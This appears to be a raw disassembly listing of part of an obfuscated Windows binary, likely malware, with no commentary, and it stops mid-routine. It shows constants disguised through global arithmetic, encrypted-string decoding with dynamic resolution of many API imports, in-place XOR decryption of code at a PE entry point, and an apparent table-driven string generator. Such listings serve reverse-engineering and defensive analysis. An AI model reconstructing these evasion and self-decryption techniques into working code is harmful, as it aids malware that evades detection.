mov eax, dword_5511FC
add eax, dword_5511D4
sub eax, 9
push eax
push 80h
push 3
mov eax, dword_551124
sub eax, 9
push eax
push 3
push 0C0000000h
push edi
call ds:dword_54FC18
mov edi, eax
movsx eax, word_5510B0
add eax, 0FFFFFFFEh
cmp eax, edi
jz loc_4457C8
push 0
mov eax, dword_551174
movsx edx, word_5511AC
add eax, edx
sub eax, 7
push eax
push esi
push edi
call ds:dword_550030
movsx eax, word_5510F0
add eax, dword_551250
sub eax, 5
push eax
lea eax, [ebp+var_4]
push eax
push 0FFFFh
lea eax, [ebp+var_10003]
push eax
push edi
call ds:dword_448034
lea ecx, [ebp+var_FFFF]
or eax, 0FFFFFFFFh
loc_445759: ; CODE XREF: sub_44569A+C4j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_445759
movsx edx, word_551224
add edx, 3
mov ebx, eax
add ebx, edx
mov [ebp+var_4], ebx
push 0
movsx eax, word_551194
sub eax, 7
push eax
push esi
push edi
call ds:dword_550030
mov esi, dword_5511A4
mov ebx, [ebp+var_4]
mov [ebp+esi*4+var_1001C+1], ebx
movsx eax, word_55120C
push eax
lea eax, [ebp+var_4]
push eax
movsx eax, word_551144
add eax, dword_5510A8
sub eax, 5
push eax
lea eax, [ebp+var_10003]
push eax
push edi
call ds:dword_55001C
push edi
call ds:dword_4CDA48
loc_4457C8: ; CODE XREF: sub_44569A+6Cj
pop edi
pop esi
pop ebx
leave
retn
sub_44569A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4457CD proc near ; DATA XREF: .data:005512F8o
arg_4 = dword ptr 0Ch
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_4]
mov eax, [ebp+arg_10]
mov word ptr [ebp+arg_10], ax
movsx eax, word_5511BC
mov edx, dword_551090
lea eax, [eax+edx+0F4h]
cmp eax, edi
jnz short loc_445800
push [ebp+arg_14]
call sub_44300F
pop ecx
xor eax, eax
jmp short loc_445826
; ---------------------------------------------------------------------------
loc_445800: ; CODE XREF: sub_4457CD+24j
mov eax, dword_5511E4
add eax, 0FDh
add eax, dword_551174
cmp edi, eax
jnz short loc_445821
push [ebp+arg_14]
call sub_43EC94
pop ecx
xor eax, eax
jmp short loc_445826
; ---------------------------------------------------------------------------
loc_445821: ; CODE XREF: sub_4457CD+45j
mov eax, 80020003h
loc_445826: ; CODE XREF: sub_4457CD+31j
; sub_4457CD+52j
pop edi
pop ebp
retn 24h
sub_4457CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44582B proc near ; CODE XREF: sub_43C752+B0p
; sub_43C752+26Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_4]
push ebx
call ds:dword_448000
mov edi, eax
mov eax, dword_5510B8
sub eax, 8
push eax
mov eax, dword_5510C4
sub eax, 9
push eax
mov eax, dword_551248
add eax, 1FFBh
push eax
push esi
push edi
push ebx
mov eax, dword_551174
movsx edx, word_5510A0
add eax, edx
sub eax, 8
push eax
push 0
call ds:dword_448010
mov eax, dword_551264
movsx edx, word_551120
add eax, edx
sub eax, 6
mov [esi+edi], al
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_44582B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_445895 proc near ; CODE XREF: sub_43E04C+1D9p
; sub_43E04C+1FCp ...
var_4F = byte ptr -4Fh
var_1D = byte ptr -1Dh
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
push ebp
mov ebp, esp
sub esp, 50h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
call ds:dword_54EB70
mov [ebp+var_4], eax
mov esi, dword_5511C0
jmp short loc_44591A
; ---------------------------------------------------------------------------
loc_4458B2: ; CODE XREF: sub_445895+93j
mov edx, dword_5510D4
add edx, dword_551270
sub edx, 0Ch
cmp ds:dword_44A0E0[esi*4], edx
jz short loc_445919
mov edx, ds:dword_4CDA50[esi*4]
mov [ebp+var_14], edx
mov ecx, dword_5511E0
add ecx, 0EA57h
mov eax, dword_55110C
movsx edx, word_5510D8
add eax, edx
mov edx, eax
sub edx, 0Dh
imul ecx, edx
mov edx, [ebp+var_14]
add edx, ecx
cmp edx, [ebp+var_4]
jnb short loc_445919
mov edx, dword_551134
movsx ecx, word_55112C
add edx, ecx
sub edx, 0Dh
mov ds:dword_44A0E0[esi*4], edx
loc_445919: ; CODE XREF: sub_445895+33j
; sub_445895+69j
inc esi
loc_44591A: ; CODE XREF: sub_445895+1Bj
movsx eax, word_551274
add eax, 3E7h
cmp esi, eax
jb short loc_4458B2
loc_44592A: ; CODE XREF: sub_445895+BCj
; sub_445895+27Dj
mov eax, [ebx]
mov [ebp+var_10], eax
lea ebx, [ebx+eax]
mov eax, ebx
sub eax, [ebp+arg_0]
cmp eax, [ebp+arg_4]
jnb loc_445B18
mov eax, dword_5510B8
add eax, dword_551204
sub eax, 7
cmp [ebp+var_10], eax
ja short loc_44592A
mov ecx, ebx
or eax, 0FFFFFFFFh
loc_445958: ; CODE XREF: sub_445895+C8j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_445958
mov [ebp+var_C], eax
mov eax, ebx
sub eax, [ebp+arg_0]
movsx edx, word_5510B0
add edx, 3
sub eax, edx
mov [ebp+var_8], eax
mov edi, dword_551124
sub edi, 9
jmp short loc_4459B0
; ---------------------------------------------------------------------------
loc_445981: ; CODE XREF: sub_445895+127j
mov al, ds:byte_44B1B0[edi]
cmp al, [ebp+arg_10]
jnz short loc_4459AF
mov edx, [ebp+var_8]
cmp ds:dword_449020[edi*4], edx
jnz short loc_4459AF
mov edx, dword_5510C4
sub edx, 9
cmp ds:dword_44A0E0[edi*4], edx
jnz loc_445AFC
loc_4459AF: ; CODE XREF: sub_445895+F6j
; sub_445895+102j
inc edi
loc_4459B0: ; CODE XREF: sub_445895+EAj
mov eax, dword_5510D4
add eax, 3E1h
cmp edi, eax
jb short loc_445981
movsx eax, word_551240
add eax, 3BFh
cmp [ebp+var_C], eax
jbe loc_445AA9
mov eax, dword_551238
add eax, 4
add eax, dword_551114
push eax
lea eax, [ebp+var_4F]
push eax
call sub_44675D
add esp, 8
movsx eax, word_5510EC
movsx edx, word_551168
add eax, edx
sub eax, 4
mov [ebp+var_1C], eax
mov eax, dword_551238
add eax, 3B7h
add eax, dword_55118C
mov [ebp+var_18], eax
loc_445A17: ; CODE XREF: sub_445895+20Fj
mov eax, [ebp+var_18]
mov al, [ebx+eax]
mov [ebp+var_1D], al
mov eax, [ebp+var_18]
mov edx, dword_5511F0
add edx, dword_551200
sub edx, 0Ch
mov [ebx+eax], dl
push offset dword_449FE0
push [ebp+var_C]
push [ebp+var_1C]
lea eax, [ebp+var_4F]
push eax
mov eax, [ebp+arg_C]
push dword ptr [eax]
push [ebp+arg_0]
push ebx
push [ebp+arg_8]
mov eax, dword_551248
movsx edx, word_5510EC
add eax, edx
sub eax, 4
and eax, 0FFh
push eax
call sub_4423A6
add esp, 24h
mov eax, [ebp+var_18]
mov [ebp+var_1C], eax
mov dl, [ebp+var_1D]
mov [ebx+eax], dl
mov eax, dword_5510B8
add eax, 3B6h
movsx edx, word_551180
add eax, edx
add [ebp+var_18], eax
mov eax, [ebp+var_C]
cmp [ebp+var_18], eax
jbe short loc_445A9C
mov [ebp+var_18], eax
loc_445A9C: ; CODE XREF: sub_445895+202j
mov eax, [ebp+var_C]
cmp [ebp+var_1C], eax
jnb short loc_445AF7
jmp loc_445A17
; ---------------------------------------------------------------------------
loc_445AA9: ; CODE XREF: sub_445895+138j
push offset dword_551A84
call sub_43AC94
push offset dword_449FE0
push [ebp+var_C]
mov edx, dword_5511C0
add edx, dword_5511A4
sub edx, 6
push edx
push eax
mov edx, [ebp+arg_C]
push dword ptr [edx]
push [ebp+arg_0]
push ebx
push [ebp+arg_8]
movsx edx, word_5510AC
add edx, dword_551250
sub edx, 9
and edx, 0FFh
push edx
call sub_4423A6
add esp, 28h
loc_445AF7: ; CODE XREF: sub_445895+20Dj
mov eax, [ebp+arg_C]
inc dword ptr [eax]
loc_445AFC: ; CODE XREF: sub_445895+114j
inc ebx
mov eax, [ebp+var_C]
lea ebx, [ebx+eax]
mov eax, [ebp+arg_C]
movsx edx, word_551110
add edx, 13h
cmp [eax], edx
jbe loc_44592A
loc_445B18: ; CODE XREF: sub_445895+A5j
push offset dword_551A80
call sub_43AC94
push offset dword_449FE0
movsx edx, word_5511C8
mov ecx, edx
sub ecx, 7
push ecx
mov ecx, dword_551098
sub ecx, 2
push ecx
push eax
mov ecx, dword_5510F4
sub ecx, 2
push ecx
mov ecx, dword_55116C
movsx eax, word_551210
add ecx, eax
sub ecx, 0Ch
push ecx
movsx ecx, word_5511AC
movsx eax, word_551254
add ecx, eax
sub ecx, 0Eh
push ecx
push [ebp+arg_8]
movsx ecx, word_551214
add ecx, edx
mov edx, ecx
sub edx, 9
and edx, 0FFh
push edx
call sub_4423A6
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_445895 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_445B95 proc near ; CODE XREF: sub_445BAD+50p
; sub_445BAD+65p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push edi
push [ebp+arg_0]
push dword_5512A0
call ds:dword_44B1AC
mov edi, eax
pop edi
pop ebp
retn
sub_445B95 endp
; =============== S U B R O U T I N E =======================================
sub_445BAD proc near ; CODE XREF: sub_43E491+34p
push edi
push offset dword_551A70
call sub_43AC94
pop ecx
push eax
call ds:dword_44B598
mov dword_5512A0, eax
mov eax, dword_551164
add eax, dword_55109C
sub eax, 7
cmp dword_5512A0, eax
jnz short loc_445BF2
push offset dword_551A60
call sub_43AC94
pop ecx
push eax
call ds:dword_48C318
mov dword_5512A0, eax
loc_445BF2: ; CODE XREF: sub_445BAD+2Cj
push offset word_551A42
call sub_43AC94
push eax
call sub_445B95
mov ds:dword_48B9E8, eax
push offset byte_551A2B
call sub_43AC94
push eax
call sub_445B95
mov ds:dword_4CEA10, eax
push offset dword_551A10
call sub_43AC94
push eax
call sub_445B95
mov ds:dword_448050, eax
push offset byte_5519F3
call sub_43AC94
push eax
call sub_445B95
mov ds:dword_44B1A8, eax
push offset byte_5519DF
call sub_43AC94
push eax
call sub_445B95
mov ds:dword_54EA68, eax
push offset byte_5519CB
call sub_43AC94
push eax
call sub_445B95
mov ds:dword_44B080, eax
push offset byte_5519AB
call sub_43AC94
push eax
call sub_445B95
mov ds:dword_449008, eax
push offset word_55198E
call sub_43AC94
push eax
call sub_445B95
mov ds:dword_48C1E4, eax
push offset word_55197A
call sub_43AC94
push eax
call sub_445B95
mov ds:dword_44804C, eax
push offset byte_551961
call sub_43AC94
push eax
call sub_445B95
mov ds:dword_448020, eax
push offset asc_551952 ; "\v"
call sub_43AC94
push eax
call sub_445B95
mov ds:dword_4CEA08, eax
push offset byte_551941
call sub_43AC94
push eax
call sub_445B95
mov ds:dword_44B59C, eax
push offset byte_55192B
call sub_43AC94
push eax
call sub_445B95
mov ds:dword_48B9DC, eax
push offset word_551912
call sub_43AC94
push eax
call sub_445B95
mov ds:dword_4CD91C, eax
push offset word_551902
call sub_43AC94
push eax
call sub_445B95
add esp, 78h
mov ds:dword_44B5A0, eax
pop edi
retn
sub_445BAD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_445D32 proc near ; DATA XREF: sub_442C83+Bo
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
pusha
mov esi, [ebp+arg_8]
mov eax, offset loc_43A8B0
mov [esi+0B8h], eax
mov eax, [ebp+arg_4]
mov [esi+0C4h], eax
popa
mov esp, ebp
pop ebp
xor eax, eax
retn
sub_445D32 endp
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_445D55 proc near ; CODE XREF: sub_443F7C+D7p
; sub_443F7C+110p ...
var_4 = dword ptr -4
arg_0 = byte ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push edi
movzx eax, [ebp+arg_0]
mov ecx, 2Bh
mov edx, 2FA0BE83h
mul edx
shr edx, 3
mov [ebp+var_4], edx
mov edi, edx
mov ebx, edi
mov [ebp+arg_0], bl
movzx eax, [ebp+arg_0]
movsx edx, word_551110
add edx, 3
cmp eax, edx
jnz short loc_445D91
mov eax, 6Fh
jmp short loc_445E10
; ---------------------------------------------------------------------------
loc_445D91: ; CODE XREF: sub_445D55+33j
mov eax, dword_551150
sub eax, 4
movzx edx, [ebp+arg_0]
cmp eax, edx
jnz short loc_445DA8
mov eax, 65h
jmp short loc_445E10
; ---------------------------------------------------------------------------
loc_445DA8: ; CODE XREF: sub_445D55+4Aj
movzx eax, [ebp+arg_0]
mov edx, dword_5510BC
movsx ecx, word_5510CC
add edx, ecx
sub edx, 2
cmp eax, edx
jnz short loc_445DC9
mov eax, 69h
jmp short loc_445E10
; ---------------------------------------------------------------------------
loc_445DC9: ; CODE XREF: sub_445D55+6Bj
movzx eax, [ebp+arg_0]
mov edx, dword_551118
sub edx, 8
cmp eax, edx
jnz short loc_445DE1
mov eax, 79h
jmp short loc_445E10
; ---------------------------------------------------------------------------
loc_445DE1: ; CODE XREF: sub_445D55+83j
movzx eax, [ebp+arg_0]
mov edx, dword_5511E0
sub edx, 7
cmp eax, edx
jnz short loc_445DF9
mov eax, 75h
jmp short loc_445E10
; ---------------------------------------------------------------------------
loc_445DF9: ; CODE XREF: sub_445D55+9Bj
movzx eax, [ebp+arg_0]
movsx edx, word_551214
add edx, 2
cmp eax, edx
jnz short loc_445E10
mov eax, 61h
loc_445E10: ; CODE XREF: sub_445D55+3Aj
; sub_445D55+51j ...
pop edi
pop ebx
leave
retn
sub_445D55 endp
; =============== S U B R O U T I N E =======================================
sub_445E14 proc near ; CODE XREF: sub_43E491+43p
push offset dword_5518E8
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_4CEA1C, eax
push offset byte_5518D3
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_44B088, eax
push offset byte_5518C3
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_449FC0, eax
push offset word_5518B6
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_55001C, eax
push offset byte_5518A7
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_4CD910, eax
push offset word_551892
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_54EA4C, eax
push offset byte_551877
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_4CDA44, eax
push offset byte_551869
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_54EA60, eax
push offset byte_55185D
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_448034, eax
push offset byte_551847
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_4CD918, eax
push offset dword_551830
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_48B9F4, eax
push offset word_55181E
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_44B5A8, eax
push offset byte_551807
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_50EA20, eax
push offset dword_5517F4
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_54FC10, eax
push offset dword_5517DC
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_48B9F8, eax
push offset byte_5517CB
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_449FC8, eax
push offset byte_5517BB
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_54EB70, eax
push offset byte_5517AB
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_48C31C, eax
push offset asc_55179C ; "\v"
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_4CEA14, eax
push offset byte_55178D
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_54FC1C, eax
push offset byte_55177F
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_48B9EC, eax
push offset byte_551773
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_448000, eax
push offset dword_551764
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_44800C, eax
push offset byte_551757
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_44B5CC, eax
push offset byte_55173F
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_448014, eax
push offset dword_551728
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_50EA34, eax
push offset dword_551710
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_54EB78, eax
push offset byte_5516F7
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_4CEA04, eax
push (offset aY+2)
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_4CC530, eax
push offset word_5516D6
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_448044, eax
push offset byte_5516C5
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_54EA64, eax
push offset word_5516AE
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_44B5B0, eax
push offset dword_55169C
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_550030, eax
push offset dword_551688
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_448040, eax
push offset dword_551678
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_4CEA0C, eax
push offset asc_55166B ; "\t"
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_4CC644, eax
push offset byte_551655
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_48C314, eax
push offset asc_55164A ; "\a"
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_44B094, eax
push offset byte_551639
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_448038, eax
push offset word_55162A
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_55002C, eax
push offset byte_55161B
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_54FC18, eax
push offset dword_551604
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_448010, eax
push offset byte_5515F3
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_550028, eax
push (offset aN+2)
call sub_43AC94
push eax
call sub_43F93A
mov ds:dword_44B5BC, eax
push offset dword_5515D4
call sub_43AC94
push eax
call sub_43F93A
add esp, 168h
mov ds:dword_4CC328, eax
retn
sub_445E14 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4461CC proc near ; CODE XREF: sub_43E491+3C8p
var_10030 = dword ptr -10030h
var_1002B = byte ptr -1002Bh
var_2C = byte ptr -2Ch
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_4 = dword ptr -4
push ebp
mov ebp, esp
mov eax, 10030h
call sub_44797C
push ebx
push esi
push edi
mov eax, dword_5511E4
sub eax, 5
cmp eax, ds:dword_449FC4
jz loc_446424
movsx eax, word_551194
sub eax, 7
push eax
mov eax, dword_551204
add eax, dword_5510D0
sub eax, 7
push eax
mov eax, dword_551158
dec eax
push eax
lea eax, [ebp+var_4]
push eax
call ds:dword_449FC4
mov ebx, eax
mov eax, dword_5511D4
movsx edx, word_551120
add eax, edx
sub eax, 0Ch
cmp ebx, eax
jnz loc_446424
lea eax, [ebp+var_18]
push eax
mov eax, dword_551160
sub eax, 5
push eax
mov eax, dword_5511A4
movsx edx, word_5510A0
add eax, edx
sub eax, 0Dh
push eax
mov eax, [ebp+var_4]
push eax
mov edi, [eax]
call dword ptr [edi+38h]
mov ebx, eax
mov eax, dword_5510C4
movsx edx, word_551140
add eax, edx
sub eax, 0Eh
cmp eax, ebx
jnz loc_446408
loc_446279: ; CODE XREF: sub_4461CC+133j
; sub_4461CC+168j
mov eax, dword_551270
movsx edx, word_5510EC
add eax, edx
sub eax, 5
push eax
lea eax, [ebp+var_14]
push eax
movsx eax, word_5511A8
movsx edx, word_551260
add eax, edx
sub eax, 8
push eax
mov eax, [ebp+var_18]
push eax
mov edi, [eax]
call dword ptr [edi+0Ch]
mov ebx, eax
movsx eax, word_551120
sub eax, 3
cmp ebx, eax
jnz loc_4463E6
lea eax, [ebp+var_1C]
push eax
mov eax, dword_5510C0
add eax, dword_551230
sub eax, 6
push eax
lea eax, [ebp+var_14]
push eax
movsx eax, word_551170
add eax, dword_551208
sub eax, 3
push eax
mov eax, [ebp+var_4]
push eax
mov edi, [eax]
call dword ptr [edi+3Ch]
mov ebx, eax
movsx eax, word_551214
sub eax, 3
cmp ebx, eax
jnz loc_446279
loc_446305: ; CODE XREF: sub_4461CC+215j
mov eax, dword_5510DC
sub eax, 7
push eax
lea eax, [ebp+var_2C]
push eax
mov eax, dword_551250
dec eax
push eax
mov eax, [ebp+var_1C]
push eax
mov edi, [eax]
call dword ptr [edi+0Ch]
mov ebx, eax
mov eax, dword_55119C
add eax, dword_551090
sub eax, 8
cmp eax, ebx
jnz loc_446279
mov eax, dword_551138
sub eax, 3
push eax
lea eax, [ebp+var_10030]
push eax
lea eax, [ebp+var_2C]
push eax
lea eax, [ebp+var_14]
push eax
mov eax, dword_551200
add eax, dword_55116C
sub eax, 0Ch
push eax
mov eax, [ebp+var_4]
push eax
mov edi, [eax]
call dword ptr [edi+28h]
mov ebx, eax
movsx eax, word_5510E4
movsx edx, word_551120
add eax, edx
movsx edx, word_55112C
sub edx, 5
mov byte ptr [ebp+eax+var_10030+2], dl
mov eax, dword_55126C
sub eax, 8
cmp ebx, eax
jnz short loc_4463B1
lea eax, [ebp+var_1002B]
push eax
mov eax, [ebp+var_10030]
push dword ptr [eax+4]
call sub_44582B
add esp, 8
loc_4463B1: ; CODE XREF: sub_4461CC+1CBj
lea eax, [ebp+var_1002B]
push eax
lea esi, [ebp+var_2C]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_14]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
push [ebp+var_4]
call sub_43C752
add esp, 28h
jmp loc_446305
; ---------------------------------------------------------------------------
loc_4463E6: ; CODE XREF: sub_4461CC+EEj
mov eax, dword_5511FC
cmp [ebp+var_1C], eax
jz short loc_4463F9
mov eax, [ebp+var_1C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_4463F9: ; CODE XREF: sub_4461CC+222j
cmp [ebp+var_18], 0
jz short loc_446408
mov eax, [ebp+var_18]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_446408: ; CODE XREF: sub_4461CC+A7j
; sub_4461CC+231j
mov eax, dword_5511E0
add eax, dword_551134
sub eax, 11h
cmp [ebp+var_4], eax
jz short loc_446424
mov eax, [ebp+var_4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_446424: ; CODE XREF: sub_4461CC+1Ej
; sub_4461CC+64j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4461CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_446429 proc near ; CODE XREF: sub_4421CF+54p
; sub_4421CF+D5p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
movzx ebx, byte ptr [eax]
mov eax, dword_55119C
add eax, 0F8h
add eax, dword_551218
imul ebx, eax
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax+1]
add ebx, eax
movsx eax, word_55123C
add eax, 0FDh
imul ebx, eax
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax+2]
add ebx, eax
mov esi, dword_5511B0
sub esi, 7
jmp short loc_4464B5
; ---------------------------------------------------------------------------
loc_446475: ; CODE XREF: sub_446429+9Ej
mov edi, dword_551230
sub edi, 2
sub edi, esi
mov edx, [ebp+arg_4]
mov [ebp+var_4], edx
mov edx, ebx
and edx, 8000003Fh
jge short loc_446495
dec edx
or edx, 0FFFFFFC0h
inc edx
loc_446495: ; CODE XREF: sub_446429+65j
mov dl, ds:byte_550040[edx]
mov ecx, [ebp+var_4]
mov [ecx+edi], dl
mov eax, ebx
mov ecx, dword_551238
add ecx, 37h
cdq
idiv ecx
mov ebx, eax
add esi, 1
loc_4464B5: ; CODE XREF: sub_446429+4Aj
movsx eax, word_551104
add eax, dword_551204
sub eax, 4
cmp esi, eax
jl short loc_446475
pop edi
pop esi
pop ebx
leave
retn
sub_446429 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4464CE proc near ; DATA XREF: .data:005512E4o
push ebp
mov ebp, esp
push offset dword_55003C
call ds:dword_48B9F8
mov eax, ds:dword_55003C
pop ebp
retn 4
sub_4464CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4464E5 proc near ; CODE XREF: sub_43E491+341p
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
mov esi, [eax+3Ch]
mov edi, esi
add edi, eax
mov eax, [edi+28h]
mov edx, ds:dword_4CE9F0
add edx, [ebp+arg_0]
mov esi, eax
add esi, edx
movzx eax, byte ptr [esi]
xor eax, 4Dh
mov [ebp+var_1], al
movzx eax, byte ptr [esi+1]
movsx edx, word_551274
mov ecx, dword_551134
lea edx, [edx+ecx+1F7h]
mov ebx, eax
imul ebx, edx
mov eax, [ebp+arg_4]
mov [eax], ebx
mov edi, dword_5510A8
sub edi, 6
jmp short loc_44654A
; ---------------------------------------------------------------------------
loc_44653C: ; CODE XREF: sub_4464E5+67j
movzx eax, byte ptr [esi+edi]
movzx edx, [ebp+var_1]
xor eax, edx
mov [esi+edi], al
inc edi
loc_44654A: ; CODE XREF: sub_4464E5+55j
cmp edi, ebx
jb short loc_44653C
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_4464E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_446555 proc near ; CODE XREF: sub_43E2F5+64p
var_100E = byte ptr -100Eh
var_1004 = byte ptr -1004h
var_1000 = byte ptr -1000h
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1000h
call sub_44797C
push ebx
push esi
push edi
push offset word_5515C2
call sub_43AC94
pop ecx
mov esi, dword_5510F8
add esi, dword_551244
sub esi, 0Bh
push esi
push eax
movsx esi, word_551170
movsx ebx, word_5510F0
add esi, ebx
sub esi, 4
push esi
push [ebp+arg_0]
call ds:dword_50EA30
mov edi, eax
mov eax, dword_55126C
sub eax, 8
cmp eax, edi
jnz short loc_4465AF
mov edi, [ebp+arg_0]
loc_4465AF: ; CODE XREF: sub_446555+55j
push offset dword_5515AC
call sub_43AC94
pop ecx
push dword_5510BC
push eax
mov esi, dword_5511B0
sub esi, 7
push esi
push edi
call ds:dword_50EA30
mov edi, eax
lea eax, [ebp+var_FFF]
push eax
push 0FFFh
push 0Dh
push edi
call ds:dword_448018
mov eax, dword_551178
add eax, dword_551200
cmp [ebp+eax+var_1004], 20h
jnz short loc_446613
movsx eax, word_551240
cmp [ebp+eax+var_1000], 20h
jz loc_4466C4
loc_446613: ; CODE XREF: sub_446555+A7j
lea ecx, [ebp+var_FFF]
or eax, 0FFFFFFFFh
loc_44661C: ; CODE XREF: sub_446555+CCj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_44661C
movsx ebx, word_5511A8
add ebx, 0Dh
cmp eax, ebx
jb loc_4466C4
mov eax, dword_5511F8
add eax, dword_5510A8
cmp [ebp+eax+var_100E], 68h
jnz short loc_446659
mov eax, dword_551158
cmp [ebp+eax+var_FFF], 74h
jz short loc_4466C4
loc_446659: ; CODE XREF: sub_446555+F3j
push offset byte_5515A7
call sub_43AC94
mov esi, dword_5511E4
movsx ebx, word_5510F0
add esi, ebx
sub esi, 4
push esi
push eax
lea esi, [ebp+var_FFF]
push esi
call sub_442127
add esp, 10h
mov ebx, dword_5510D4
add ebx, 0FFF5h
movsx edx, word_55123C
add ebx, edx
cmp ebx, eax
jnz short loc_4466C4
push offset byte_5515A1
call sub_43AC94
pop ecx
push eax
mov esi, dword_55122C
add esi, dword_551270
sub esi, 6
push esi
push 0Ch
push edi
call ds:dword_448018
loc_4466C4: ; CODE XREF: sub_446555+B8j
; sub_446555+DAj ...
pop edi
pop esi
pop ebx
leave
retn
sub_446555 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4466C9 proc near ; CODE XREF: sub_43F2CB+C8p
; sub_441A2E+46p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, dword_551124
sub esi, 9
mov edi, dword_551244
sub edi, 7
jmp short loc_44674A
; ---------------------------------------------------------------------------
loc_4466E7: ; CODE XREF: sub_4466C9+8Bj
mov edx, [ebp+arg_4]
movzx edx, word ptr [edx+edi*2]
movzx ecx, word ptr [ebx+edi*2]
add edx, ecx
add edx, esi
mov [ebp+var_4], edx
movsx eax, word_551170
mov edx, dword_551184
lea eax, [eax+edx+0FFF6h]
cmp [ebp+var_4], eax
jbe short loc_446730
mov esi, dword_5511E8
sub esi, 6
mov eax, dword_5511D8
add eax, 0FFF4h
add eax, dword_5511E4
sub [ebp+var_4], eax
jmp short loc_446742
; ---------------------------------------------------------------------------
loc_446730: ; CODE XREF: sub_4466C9+47j
movsx eax, word_5510F0
mov esi, eax
add esi, dword_551270
sub esi, 8
